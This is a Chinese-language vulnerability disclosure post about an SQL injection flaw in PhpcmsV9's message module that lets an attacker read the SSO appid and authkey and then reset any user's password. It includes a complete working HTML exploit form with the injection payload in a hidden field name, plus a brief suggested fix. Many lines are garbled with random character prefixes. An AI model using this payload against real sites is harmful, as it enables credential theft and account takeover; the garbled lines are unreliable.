PhpcmsV9 SQL注射修改任意用户密码漏洞

admin

简要描述：
( h. h4 h' e6 e+ @% E" _2 C- F
第二发如约来到，感谢大家的关注，在第二发中使用了一个无限制的SQL注射，最终目的可以修改任意用户密码，建议确认安全危害等级为高。
" f) w4 o* J8 z
- t# R# z& [( [$ V6 J明天再更新下一个漏洞。
9 h" ]6 |: X) f7 \1 e6 d6 _/ p$ _5 }详细说明：
' }/ L, b/ j- `& t8 f0 E+ J0 ~在/phpcms9/phpcms/modules/message/index.php中有代码如下：
! m- B4 E9 k. U6 u- D- G/ l
$messageid = $this->message_db->insert($_POST['info'],true);
) f2 |, }& V6 n5 A) U
# E, ^' i; U$ m6 w3 j; R9 D
, A  b9 @  F2 }# Rinsert方法是key value的，代码如下：

public function insert($data, $table, $return_insert_id = false, $replace = false) {
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
                        return false;
                }
; d$ n$ g) J& c) {) J% y6 D               
3 c7 E( ]/ ~- i9 q/ J+ |+ n. T                $fielddata = array_keys($data);
                $valuedata = array_values($data);
                array_walk($fielddata, array($this, 'add_special_char'));
! J* ^+ c: c2 }: e8 s. Q. |! i. e                array_walk($valuedata, array($this, 'escape_string'));
3 o% j% V) n, k: I+ O               
) t0 y$ X9 f9 u                $field = implode (',', $fielddata);
$ {) x. ~& P% D0 w1 _, |: u                $value = implode (',', $valuedata);

                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
' E. ]7 I# e1 V4 F& r. g                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
                $return = $this->execute($sql);
+ E( L' D( Q/ c, ?) W9 V" M2 W                return $return_insert_id ? $this->insert_id() : $return;
! ]5 @8 r6 i  F* J3 v  q        }
. x. p/ E8 N7 P$ r! t& g. ?/ X

嗯，很遗憾的是
  h9 s1 T5 G. a: O  j" Q" [$ t& W
9 j1 e, |8 C+ g; B! g* N) {9 M3 garray_walk($fielddata, array($this, 'add_special_char'));

* D0 e: H9 z. U7 H" |3 ~
中并没有对key做任何的过滤，所以，第一段提到的代码导致了一个SQL注射漏洞 ：（。

& A9 i' ]& ]1 v/ |( I9 ~到此，为了poc一下，我读取了我本地的authkey，接下来我已经可以重置任意用户密码了，后面的事情我就没有演示了。

. }8 d+ e1 ?5 k& k+ o漏洞证明：
4 L! w( s& O2 e+ U: x2 o读出了phpsso_server的appid和authkey，然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。

4 {* C" M* y( l
! D1 G0 l. ~5 q9 v# C/ m) y表单如下：用户名什么的得自己改一改。
. I0 c6 H+ W2 S; Y- H0 G3 ^& S<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
0 @6 _' G0 m( q% R) @<table width="100%" cellspacing="0" class="table_form">
<tr>
<th>标 题：</th>
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
  f. w) D5 j3 {. s& ]& V7 ?</tr>
<tr>
<th>内 容：</th>
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
9 \1 `# p) F7 s% `</tr>
<input type="hidden" name="info[replyid]" value="2" />
<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
5 B3 k- C7 g6 x( H  s( e& g<!-- 漏洞的利用重点在这里开始 -->
0 c8 j2 B+ H: n- ~) W- W) V<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
<!-- 漏洞的利用重点在这里结束 -->
<tr>
<th>验证码：</th>
6 n) J' n' b, s5 g4 U4 A/ W( Y<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
</tr>
) c, H7 o# v$ E, F  m5 e: B& z<tr>
1 n5 @4 L* X1 }" R<td></td>
4 m) Q" t- A$ A7 O<td colspan="2"><label>
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
' ?) B: P0 Q( v$ e</label></td>
</tr>
: j) B( q6 }* @: P7 S  i" C</table>
* I# |0 t: K- S</form>
在add_special_char函数内对key做过滤就可以了。


9 V' `- r( I  K/ k8 K3 f. Z* s
. X" T' I! R" q" N